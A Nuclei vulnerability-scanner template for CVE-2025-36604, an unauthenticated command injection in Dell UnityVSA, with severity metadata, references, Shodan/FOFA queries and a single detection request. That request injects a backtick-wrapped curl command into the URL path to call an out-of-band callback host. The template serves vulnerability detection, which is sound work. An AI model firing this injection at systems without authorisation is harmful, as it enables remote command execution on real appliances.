Dell UnityVSA < 5.5 - Remote Command Injection

id: CVE-2025-36604

info:
  name: Dell UnityVSA < 5.5 - Remote Command Injection
  author: DhiyaneshDK,watchtowr
  severity: critical
  description: |
    Dell Unity, version(s) 5.5 and prior, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability.
  impact: An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.
  remediation: |
    Update to the latest version beyond 5.5.
  reference:
    - https://labs.watchtowr.com/its-never-simple-until-it-is-dell-unityvsa-pre-auth-command-injection-cve-2025-36604/
    - https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604/blob/main/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-36604
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-36604
    epss-score: 0.61125
    epss-percentile: 0.99049
    cwe-id: CWE-78
    cpe: cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Unisphere"
    fofa-query: title="Unisphere"
  tags: cve,cve2025,dell,unityvsa,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/misc/`curl${IFS}{{interactsh-url}}`/..;/index.html"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "getUrlVars")'
          - 'contains(content_type, "text/html")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 4a0a0047304502203fb07c7b19115eb4770b08c574ab69a6c91a13584e65021af8b6d1aa24e64a35022100e21f03bd9e4acaf00d3d7537e7b9a9ad2159bb6df231edcb0ab18d12b4b15179:922c64590222798bb761d5b6d8e72950